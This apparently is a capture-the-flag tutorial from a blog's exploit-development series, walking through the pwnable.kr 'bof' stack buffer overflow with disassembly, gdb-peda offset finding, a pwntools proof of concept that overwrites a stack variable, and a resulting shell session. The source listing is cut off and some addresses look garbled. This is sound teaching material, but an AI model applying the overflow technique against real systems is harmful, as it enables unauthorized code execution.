Home

Tutorials

Scripting

**Exploits** 

Links

Patreon

Contact

```
Home » Tutorials » Buffer Overflow [Pwnable.kr -> bof]
```

## Part 3: Buffer Overflow [Pwnable.kr -> bof]



Hola, this is an attempt to revive the linux exploit development series through pwnables (Yaaaaay)! In this first post we will have a look at the BOF challenge on pawnable.kr. This is a simple buffer overflow on 32bit Linux, let get straight into it!

## Recon the challenge

For this challenge we get the source code, 'bof.c", which is shown below.

return 0;
}

The program calls func with one input parameter, key, set to Oxdeadbeef. It then checks if the key parameter is Oxcafebabe (obviously this will never be the case) and if it is it gives the user a shell, else it prints 'Nah.." and exits. The graph view below shows this same logic.

```
0x62c ;[d]
                                         94
                                     (int arg 8h);
                          ; var int local 2ch @ ebp-0x2c
                          ; var int local ch @ ebp-0xc
                          ; arg int arg 8h @ ebp+0x8
                          mov ebp, esp
                          sub esp. 0x48
                          mov eax, dword gs:[0x14]
                          mov dword [ebp - local ch], eax
                          mov dword [esp], str.overflow me : ; RELOC 32
                          (reloc.puts 69)
                          call reloc.puts 69 ;[a] ; RELOC 32 puts
                          lea eax, [ebp - local 2ch]
                          mov dword [esp], eax
                          (reloc.gets 80)
                         call reloc.gets_80 ;[b] ; RELOC 32 gets
cmp dword [ebp + arg_8h], 0xcafebabe
                          jne 0x66b ;[c]
[0x65d];[g]
                                                       0x66b ;[c]
                                                mov dword [esp], str.Nah.. ; RELOC 32 (reloc.puts_115)
mov dword [esp], str._bin_sh ; RELOC 32
(reloc.system 101)
call reloc.system_101 ;[e] ; RELOC 32 system
                                                        call reloc.puts_115 ;[h] ; RELOC 32 puts
imp 0x677 :[f]
```

An obvious solution presents itself here. The allocated input buffer is 32 bytes in length but the user supplied input has no length restrictions. If we overflow the buffer we can manually replace Oxdeadbeef with Oxcafebabe in memory. Let's quickly check that the program crashes, as expected, when we send a large input buffer.

```
root@Dev:~# Desktop/bof
overflow me :
test
Nah..
root@Dev:~# Desktop/bof
overflow me :
bbbbuuufffffeeeeeerrrrrrrrrrrrrrrrr
Nah..
*** stack smashing detected ***: Desktop/bof terminated
Aborted (core dumped)
root@Dev:~#
```

## Pwn all the things!

We could spray memory with chunks of Oxcafebabe and hope for the best (this does actually work in this case) but we may as well do this properly. Using pattern create we can find the precise offset to the key variable from our input buffer.

```
gdb-peda$ b *0x80000654
Breakpoint 1 at 0x80000654
gdb-peda$ pattc 70
'AAA%AASAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3'
gdb-peda$ r
Starting program: /root/Desktop/bof
overflow me :
AAA%AASAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3
```

Notice that we are setting a breakpoint on the comparison. Once we hit the breakpoint we can inspect the contents at EBP+8 to figure out the offset.

```
EAX: 0xbffff4dc ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3")
EBX: 0xb7fc9000 --> 0x1aada8
ECX: 0xfbad2288
EDX: 0xb7fca8a4 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff508 ("AFAAbAA1AAGAAcAA2AAHAAdAA3")
ESP: 0xbffff4c0 --> 0xbffff4dc ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAACA
EIP: 0x80000654 (<func+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
  0x80000649 <func+29>: lea eax,[ebp-0x2c]
  0x8000064c <func+32>: mov DWORD PTR [esp],eax
0x8000064f <func+35>: call 0xb7e82e60 < IO gets
=> 0x80000654 <func+40>: cmp
0x8000065b <func+47>: jne
0x8000065d <func+49>: mov
                                      DWORD PTR [ebp+0x8],0xcafebabe
                                     0x8000066b <func+63>
                                      DWORD PTR [esp],0x8000079b
 0000| 0xbffff4c0 --> 0xbffff4dc ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAd
0004| 0xbfffff4c4 --> 0x0
0008| 0xbfffff4c8 --> 0xc2
0012| 0xbfffff4cc --> 0xb7eb3376 (<handle intel+102>: test eax,eax)
0016| 0xbfffff4d0 --> 0xffffffff
0020| 0xbfffff4d4 --> 0xbfffff4fe ("AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3")
0024| 0xbfffff4d8 --> 0xb7e2ac34 --> 0x2aad
0028| 0xbffff4dc ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3")
Legend: code, data, rodata, value
Breakpoint 1, 0x80000654 in func ()
 db-peda$ x/x $ebp+8
0xbffff510: 0x41474141
gdb-peda$ x/s $ebp+8
0xbffff510: "AAGAAcAA2AAHAAdAA3"
 db-peda$ pattern offset AAGA
AAGA found at offset: 52
```

## Game Over

The start of the key variable is at character 53+. Using pwntools we can quickly make a POC.

```
from pwn import *

r = remote('pwnable.kr', 9000)
buff = ("\x41"*52) + "\xbe\xba\xfe\xca"

r.send(buff)
r.interactive()
```

When we fire it at the server, we pass the key value check and get a shell!

```
b33f@Dev:~$ python Desktop/bof.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode

$ id
uid=1008(bof) gid=1008(bof) groups=1008(bof)

$ ls
bof
bof.c
flag
log
log2
super.pl
$ cat flag
```

